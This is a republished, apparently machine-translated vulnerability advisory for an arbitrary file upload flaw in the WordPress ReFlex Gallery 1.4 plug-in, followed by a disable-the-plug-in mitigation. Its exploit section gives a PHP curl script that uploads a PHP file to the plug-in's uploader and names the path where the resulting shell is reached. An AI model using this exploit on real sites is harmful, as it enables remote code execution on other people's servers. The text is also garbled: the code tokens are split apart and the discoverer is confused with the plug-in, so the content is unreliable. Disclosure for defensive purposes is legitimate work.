WordPress ReFlex Gallery plug-in 'php. php' Arbitrary File Upload Vulnerability and temporary solutions

Source: Internet
Author: User

Affected System: WordPress ReFlex Gallery 1.4 Description: Sammy FORGIT is an integrated library album plug-in. WordPress Sammy Forgit has a security vulnerability. wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php. php allows you to upload files with any extension to a folder in webroot. By submitting malicious PHP scripts, any PHP code can be executed. <* Source: Sammy Forgit link: http://packetstormsecurity.com/files/119218/wpreflexgallery-shell.txt http://www.securelist.com/en/advisories/51698 *> Test method: The following procedures (methods) may be offensive and are only used for security research and teaching. Users are at your own risk! Exploit: PostShell. php <? Php $ uploadfile = "lo. php"; $ ch = curl_init (" http://localhost/wordpress/wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php "); Curl_setopt ($ ch, CURLOPT_POST, true); curl_setopt ($ ch, CURLOPT_POSTFIELDS, array ('qqfile' =>" @ $ uploadfile "); curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, 1); $ postResult = curl_exec ($ ch); curl_close ($ ch); print "$ postResult";?> Shell Access: http://localhost/wordpress/wp-content/uploads/Filename PostShell. php output lo. php <? Phpphpinfo ();?> # Site: 1337day.com Inj3ct0r Exploit DatabaseTemporary solution:If you cannot install or upgrade the patch immediately, NSFOCUS recommends that you take the following measures to reduce the threat: * disable the WordPress ReFlex Gallery plug-in vendor patch: WordPress --------- currently, the vendor has not provided or upgraded the patch, we recommend that users who use this software stay tuned to the vendor's homepage for the latest version: http://wordpress.org/extend/plugins/reflex-gallery/

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.